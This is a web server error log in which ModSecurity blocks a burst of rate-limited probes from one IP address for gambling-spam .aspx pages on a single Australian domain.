[Mon Apr 13 09:47:15.641933 2026] [:error] [pid 63406:tid 63427] [client 51.77.216.81:33308] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "adxLI7HZEIkQ0Zmgp5o5sAAAANA"]
[Mon Apr 13 09:47:18.490794 2026] [:error] [pid 7228:tid 7253] [client 51.77.216.81:33322] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "adxLJgEnn1dQrOSHHNU3lAAAARc"]
[Mon Apr 13 09:47:38.120028 2026] [:error] [pid 7228:tid 7234] [client 51.77.216.81:36870] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "adxLOgEnn1dQrOSHHNU3vQAAAQQ"]
[Mon Apr 13 09:47:39.734266 2026] [:error] [pid 63311:tid 63371] [client 51.77.216.81:59664] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "adxLO6HjrGN1MqBCVFlMtQAAAIA"]
[Mon Apr 13 09:47:40.576819 2026] [:error] [pid 63310:tid 63359] [client 51.77.216.81:36036] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "adxLPHoXpRU5ztmwPjLITQAAAE8"]
[Mon Apr 13 09:47:42.134797 2026] [:error] [pid 63309:tid 63317] [client 51.77.216.81:36052] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "adxLPkpIKZ10weXpf0WsuwAAAAQ"]
[Mon Apr 13 09:47:43.372345 2026] [:error] [pid 63310:tid 63347] [client 51.77.216.81:36054] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "adxLP3oXpRU5ztmwPjLIWwAAAEM"]
[Mon Apr 13 09:47:44.996308 2026] [:error] [pid 63309:tid 63319] [client 51.77.216.81:36058] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "adxLQEpIKZ10weXpf0WsxAAAAAY"]
[Mon Apr 13 09:47:45.828557 2026] [:error] [pid 63309:tid 63336] [client 51.77.216.81:36068] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "adxLQUpIKZ10weXpf0WsxgAAABc"]
[Mon Apr 13 09:47:47.725690 2026] [:error] [pid 63406:tid 63425] [client 51.77.216.81:36078] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "adxLQ7HZEIkQ0Zmgp5o5zQAAAM4"]
[Mon Apr 13 09:47:48.470153 2026] [:error] [pid 63309:tid 63333] [client 51.77.216.81:36086] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "adxLREpIKZ10weXpf0WszgAAABQ"]
[Mon Apr 13 09:47:50.225775 2026] [:error] [pid 63309:tid 63318] [client 51.77.216.81:45224] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "adxLRkpIKZ10weXpf0Ws1QAAAAU"]
[Mon Apr 13 09:47:50.963994 2026] [:error] [pid 63311:tid 63386] [client 51.77.216.81:45232] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "adxLRqHjrGN1MqBCVFlMuwAAAI8"]
[Mon Apr 13 09:47:52.680541 2026] [:error] [pid 63311:tid 63384] [client 51.77.216.81:45248] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "adxLSKHjrGN1MqBCVFlMwQAAAI0"]
[Mon Apr 13 09:47:53.869828 2026] [:error] [pid 7228:tid 7236] [client 51.77.216.81:45250] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "adxLSQEnn1dQrOSHHNU32AAAAQY"]
[Mon Apr 13 09:47:55.168570 2026] [:error] [pid 7228:tid 7249] [client 51.77.216.81:45258] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "adxLSwEnn1dQrOSHHNU33AAAARM"]
[Mon Apr 13 09:47:56.569579 2026] [:error] [pid 7228:tid 7248] [client 51.77.216.81:45264] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "adxLTAEnn1dQrOSHHNU33wAAARI"]
[Mon Apr 13 09:47:58.087997 2026] [:error] [pid 63311:tid 63381] [client 51.77.216.81:45278] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "adxLTqHjrGN1MqBCVFlMzQAAAIo"]
[Mon Apr 13 09:47:59.089407 2026] [:error] [pid 7228:tid 7230] [client 51.77.216.81:45294] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "adxLTwEnn1dQrOSHHNU34gAAAQA"]
[Mon Apr 13 09:48:00.400820 2026] [:error] [pid 63311:tid 63373] [client 51.77.216.81:41030] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "adxLUKHjrGN1MqBCVFlMzgAAAII"]
[Mon Apr 13 09:48:01.664111 2026] [:error] [pid 63309:tid 63330] [client 51.77.216.81:41046] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "adxLUUpIKZ10weXpf0Ws6gAAABE"]
[Mon Apr 13 09:48:02.824344 2026] [:error] [pid 7228:tid 7236] [client 51.77.216.81:41056] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "adxLUgEnn1dQrOSHHNU36QAAAQY"]
[Mon Apr 13 09:48:04.361457 2026] [:error] [pid 7228:tid 7239] [client 51.77.216.81:41068] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "adxLVAEnn1dQrOSHHNU38QAAAQk"]
[Mon Apr 13 09:48:05.365880 2026] [:error] [pid 7228:tid 7242] [client 51.77.216.81:41078] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "adxLVQEnn1dQrOSHHNU39gAAAQw"]
[Mon Apr 13 09:48:07.040561 2026] [:error] [pid 7228:tid 7243] [client 51.77.216.81:41082] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "adxLVwEnn1dQrOSHHNU3_wAAAQ0"]
[Mon Apr 13 09:48:07.957398 2026] [:error] [pid 7228:tid 7242] [client 51.77.216.81:41090] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "adxLVwEnn1dQrOSHHNU4BwAAAQw"]
[Mon Apr 13 09:48:09.669693 2026] [:error] [pid 7228:tid 7243] [client 51.77.216.81:53786] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "adxLWQEnn1dQrOSHHNU4FgAAAQ0"]
[Mon Apr 13 09:48:10.684894 2026] [:error] [pid 7228:tid 7254] [client 51.77.216.81:53796] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "adxLWgEnn1dQrOSHHNU4GwAAARg"]
[Mon Apr 13 09:48:12.316640 2026] [:error] [pid 63310:tid 63348] [client 51.77.216.81:53806] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "adxLXHoXpRU5ztmwPjLIcgAAAEQ"]
[Mon Apr 13 09:48:13.273707 2026] [:error] [pid 63311:tid 63382] [client 51.77.216.81:53814] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "adxLXaHjrGN1MqBCVFlM0gAAAIs"]
[Mon Apr 13 09:48:14.913864 2026] [:error] [pid 63310:tid 63360] [client 51.77.216.81:53816] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "adxLXnoXpRU5ztmwPjLIdQAAAFA"]
[Mon Apr 13 09:48:15.815806 2026] [:error] [pid 63310:tid 63350] [client 51.77.216.81:53832] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "adxLX3oXpRU5ztmwPjLIegAAAEY"]
[Mon Apr 13 09:48:17.725538 2026] [:error] [pid 63311:tid 63379] [client 51.77.216.81:53842] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "adxLYaHjrGN1MqBCVFlM2wAAAIg"]
[Mon Apr 13 09:48:18.507202 2026] [:error] [pid 63310:tid 63355] [client 51.77.216.81:53854] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "adxLYnoXpRU5ztmwPjLIhAAAAEs"]
[Mon Apr 13 09:48:20.167790 2026] [:error] [pid 63406:tid 63425] [client 51.77.216.81:45734] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "adxLZLHZEIkQ0Zmgp5o6CgAAAM4"]
[Mon Apr 13 09:48:21.108557 2026] [:error] [pid 7228:tid 7253] [client 51.77.216.81:45742] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "adxLZQEnn1dQrOSHHNU4LAAAARc"]
[Mon Apr 13 09:48:22.980018 2026] [:error] [pid 7228:tid 7241] [client 51.77.216.81:45744] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "adxLZgEnn1dQrOSHHNU4NgAAAQs"]
[Mon Apr 13 09:48:23.595135 2026] [:error] [pid 7228:tid 7237] [client 51.77.216.81:45746] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "adxLZwEnn1dQrOSHHNU4OgAAAQc"]
[Mon Apr 13 09:48:25.666013 2026] [:error] [pid 63311:tid 63382] [client 51.77.216.81:45758] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "adxLaaHjrGN1MqBCVFlM3gAAAIs"]
[Mon Apr 13 09:48:26.142156 2026] [:error] [pid 63406:tid 63412] [client 51.77.216.81:45772] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "adxLarHZEIkQ0Zmgp5o6EAAAAME"]
[Mon Apr 13 09:48:28.547908 2026] [:error] [pid 63406:tid 63413] [client 51.77.216.81:45776] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "adxLbLHZEIkQ0Zmgp5o6EgAAAMI"]
[Mon Apr 13 09:48:28.554093 2026] [:error] [pid 63310:tid 63346] [client 51.77.216.81:45784] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "adxLbHoXpRU5ztmwPjLIiwAAAEI"]
[Mon Apr 13 09:48:30.971253 2026] [:error] [pid 63310:tid 63352] [client 51.77.216.81:42952] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "adxLbnoXpRU5ztmwPjLIjQAAAEg"]
[Mon Apr 13 09:48:33.538152 2026] [:error] [pid 63406:tid 63435] [client 51.77.216.81:42958] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "adxLcbHZEIkQ0Zmgp5o6IwAAANg"]
[Mon Apr 13 09:48:36.356693 2026] [:error] [pid 63406:tid 63422] [client 51.77.216.81:42960] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "adxLdLHZEIkQ0Zmgp5o6JwAAAMs"]
[Mon Apr 13 09:49:00.186983 2026] [:error] [pid 63310:tid 63359] [client 51.77.216.81:42964] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "adxLjHoXpRU5ztmwPjLI9wAAAE8"]
[Mon Apr 13 09:49:02.848181 2026] [:error] [pid 63406:tid 63435] [client 51.77.216.81:55254] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "adxLjrHZEIkQ0Zmgp5o6fgAAANg"]
[Mon Apr 13 09:49:05.798056 2026] [:error] [pid 63311:tid 63395] [client 51.77.216.81:55258] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "adxLkaHjrGN1MqBCVFlNYgAAAJg"]
[Mon Apr 13 09:49:08.415826 2026] [:error] [pid 7228:tid 7245] [client 51.77.216.81:55266] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "adxLlAEnn1dQrOSHHNU4zwAAAQ8"]
[Mon Apr 13 09:49:11.151047 2026] [:error] [pid 7228:tid 7252] [client 51.77.216.81:55180] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "adxLlwEnn1dQrOSHHNU42QAAARY"]
[Mon Apr 13 09:49:13.588080 2026] [:error] [pid 7228:tid 7244] [client 51.77.216.81:55182] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "adxLmQEnn1dQrOSHHNU43gAAAQ4"]
[Mon Apr 13 09:49:16.047393 2026] [:error] [pid 7228:tid 7247] [client 51.77.216.81:55194] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "adxLnAEnn1dQrOSHHNU47gAAARE"]
[Mon Apr 13 09:49:18.732696 2026] [:error] [pid 63310:tid 63353] [client 51.77.216.81:55198] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "adxLnnoXpRU5ztmwPjLJDgAAAEk"]
[Mon Apr 13 09:49:21.282077 2026] [:error] [pid 63406:tid 63412] [client 51.77.216.81:52790] [client 51.77.216.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "adxLobHZEIkQ0Zmgp5o6oQAAAME"]
